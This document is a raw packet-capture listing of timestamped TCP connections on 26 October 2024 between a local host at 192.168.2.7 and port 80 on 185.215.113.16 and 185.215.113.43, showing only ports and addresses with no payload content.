Oct 26, 2024 08:53:53.946338892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.036943913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.036967993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.036983013 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.036988020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.037000895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.037019968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.037029982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.037043095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.037056923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.037065029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.037067890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.037106037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.050535917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.050549984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.050574064 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.050575018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.050615072 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.063734055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063745975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063759089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063780069 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.063823938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063842058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063853979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063858986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.063868999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063883066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.063885927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.063918114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.154278040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.154333115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.154345036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.154362917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.154370070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.154376030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.154390097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.154397011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.154428005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.168752909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.168766975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.168778896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.168812990 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.181159973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.181180954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.181193113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.181219101 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.181268930 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.330601931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330626965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330652952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330663919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330677986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330688953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330689907 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.330702066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330713034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.330719948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.330739021 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.330751896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422647953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422687054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422709942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422723055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422734976 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422746897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422755003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422772884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422780991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422790051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422799110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422811031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422821999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422833920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422837019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422858000 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422866106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422879934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422890902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422902107 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.422904015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.422921896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.423079014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423090935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423101902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423125982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.423146009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423150063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.423158884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423175097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423192024 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.423196077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423209906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423219919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423242092 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.423245907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.423261881 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.447830915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.447849989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.447913885 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.488456011 CEST	80	49980	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:54.488667011 CEST	49980	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:54.492394924 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.497977972 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.498066902 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.498200893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.503457069 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.506294966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.506333113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.506463051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.507275105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.507283926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.507324934 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.508430958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.508441925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.508476973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.523040056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.523052931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.523062944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.523103952 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.523152113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.535505056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.535517931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.535530090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.535542011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.535552979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.535576105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.535617113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.539941072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.539972067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.540016890 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.615061045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.615072966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.615123987 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.624686003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.624699116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.624711037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.624738932 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.624768972 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.640466928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.640485048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.640497923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.640506983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.640518904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.640531063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.640563011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.652702093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.652713060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.652746916 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.752249956 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802583933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802598953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802614927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802634001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802639008 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802647114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802656889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802670956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802690029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802707911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802721977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802740097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802747965 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802752972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802766085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802778959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802779913 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802792072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802799940 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802807093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.802824020 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.802865982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.803071976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.859246016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.859256029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.859323978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.876333952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.876386881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.876398087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.876456022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.876454115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.876467943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.876507044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.892987013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.893032074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.893038988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.893042088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.893054008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.893094063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.919900894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.919910908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.919955015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.993693113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.993709087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.993730068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.993741989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.993753910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.993767023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:54.993781090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:54.993812084 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.010478973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.010493040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.010504007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.010516882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.010529041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.010540962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.010550976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.010591030 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.091222048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.091236115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.091310024 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.110920906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.110934973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.110954046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.110964060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.110969067 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.110977888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.111011028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.111021996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.111026049 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.111064911 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.127862930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.127876997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.127895117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.127906084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.127918005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.127918959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.127931118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.127945900 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.127988100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.228243113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.228269100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.228290081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.228302002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.228315115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.228327990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.228332996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.228388071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.245199919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.245223045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.245238066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.245249033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.245261908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.245275021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.245275021 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.245310068 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.287013054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.287025928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.287039042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.287094116 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.345829010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.345845938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.345860004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.345957041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.345969915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.345983982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.346035957 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.346035957 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.347198009 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.408138990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408162117 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408171892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408199072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408212900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408220053 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408231020 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.408247948 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408261061 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408272982 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408282995 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.408283949 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.408302069 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.408320904 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.413597107 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.413630009 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.413640976 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.413687944 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.413711071 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.511782885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511811018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511827946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511845112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511856079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511868954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511868000 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.511882067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511904001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.511919975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511930943 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.511931896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511945009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511950970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511950970 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.511956930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511965036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511979103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.511980057 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.511991978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.512001991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.512005091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.512020111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.512037039 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.522757053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.522768974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.522778988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.522805929 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.570995092 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571054935 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.571069956 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571083069 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571089029 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571145058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.571343899 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571356058 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571369886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571374893 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571388006 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.571402073 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.571455002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.571455002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.572062016 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.572073936 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.572084904 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.572096109 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.572112083 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.572145939 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.582325935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.582367897 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.582413912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.598485947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.598500967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.598512888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.598526001 CEST	80	49759	185.215.113.16	192.168.2.7
